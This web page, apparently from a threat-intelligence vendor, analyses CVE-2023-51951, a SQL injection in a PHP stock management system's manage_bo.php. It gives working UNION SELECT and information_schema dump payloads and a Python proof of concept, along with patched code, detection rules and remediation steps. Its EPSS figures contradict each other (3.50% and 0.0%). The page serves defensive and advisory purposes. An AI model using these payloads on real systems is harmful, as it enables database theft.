☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-51951

CVE-2023-51951 SQL Injection in Stock management system
📅 PUBLISHED: 2024-02-05 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.50%
👁️
3.50% probability
87.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51951 is a critical SQL Injection vulnerability discovered in Stock Management System version 1.0. The flaw resides in the manage_bo.php file, where the id parameter is directly concatenated into SQL queries without proper sanitization or parameterization. This allows a remote, unauthenticated attacker to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch or vendor advisory has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high due to the simplicity of exploitation and the sensitive nature of stock management data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It affects a standalone PHP application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – no authentication needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – the vulnerable component is the database.
  • Confidentiality (C): High (H) – full database read possible.
  • Integrity (I): High (H) – data can be modified or deleted.
  • Availability (A): High (H) – potential for denial of service via SQL manipulation.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – immediate action required if the system is exposed.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the manage_bo.php script. The id parameter is likely used in a query such as:

SELECT * FROM products WHERE id = $_GET['id'];

Without input validation or prepared statements, an attacker can inject SQL syntax. For example:

http://target.com/manage_bo.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

This would return data from other tables. The exact number of columns can be determined via ORDER BY enumeration.

The vulnerability is unauthenticated, meaning any remote attacker can exploit it without credentials.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

Patched Code (PHP):

<?php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements and type casting to prevent injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Download Stock Management System 1.0 from a trusted source (e.g., SourceForge).
  2. Install on a local LAMP/ XAMPP stack.
  3. Ensure the application is accessible via http://localhost/stock/.

Exploitation Steps:

  1. Identify the vulnerable parameter:

    http://localhost/stock/manage_bo.php?id=1
    
  2. Confirm SQL Injection:

    http://localhost/stock/manage_bo.php?id=1'
    

    Look for a database error.

  3. Enumerate columns:

    http://localhost/stock/manage_bo.php?id=1 ORDER BY 10--
    

    Increase until error.

  4. Extract data (example for 10 columns):

    http://localhost/stock/manage_bo.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
    
  5. Dump database:

    http://localhost/stock/manage_bo.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()--
    

PoC Code (Python):

import requests

target = "http://localhost/stock/manage_bo.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
params = {"id": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

  • Monitor web server logs for suspicious id parameter values containing SQL keywords (UNION, SELECT, --, ').
  • Use a Web Application Firewall (WAF) to block SQL injection patterns.
  • Implement input validation and prepared statements.

Hunting:

  • Search for requests to manage_bo.php with unusual id values.
  • Look for error messages containing SQL syntax errors in logs.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP GET requests to /manage_bo.php?id= containing SQL keywords.
    • Outbound database connections from the web server to unknown IPs.
  • Host:
    • Unexpected database entries or modifications.
    • New files in the web root (e.g., webshells).
  • Logs:
    • SQL error messages in application logs.
    • Repeated failed login attempts (if authentication is bypassed).

Detection Engineering

YARA Rule

rule CVE_2023_51951_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-51951"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51951"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "information_schema" nocase
        $sqli4 = "manage_bo.php" nocase
    condition:
        any of ($sqli*) and $sqli4
}

Sigma Rule

title: SQL Injection Attempt on manage_bo.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against CVE-2023-51951
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "manage_bo.php?id="
            - "UNION"
            - "SELECT"
            - "OR 1=1"
    condition: selection
falsepositives:
    - Legitimate use of UNION in queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51951 SQL Injection Attempt"; flow:to_server; content:"manage_bo.php"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate:

    • Disable the manage_bo.php script if not essential.
    • Apply input validation: cast id to integer.
    • Use prepared statements for all database queries.
  2. Short-term:

    • Implement a Web Application Firewall (WAF) with SQL injection rules.
    • Restrict access to the admin panel via IP whitelisting or VPN.
  3. Long-term:

    • Upgrade to a patched version of Stock Management System (if available).
    • Conduct a full security audit of the application.
    • Follow secure coding practices (OWASP Top 10).

Note: No official patch exists. The vendor has not responded. Consider migrating to a different stock management solution.


Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Stock Management System
manage_bo.php

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51951/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.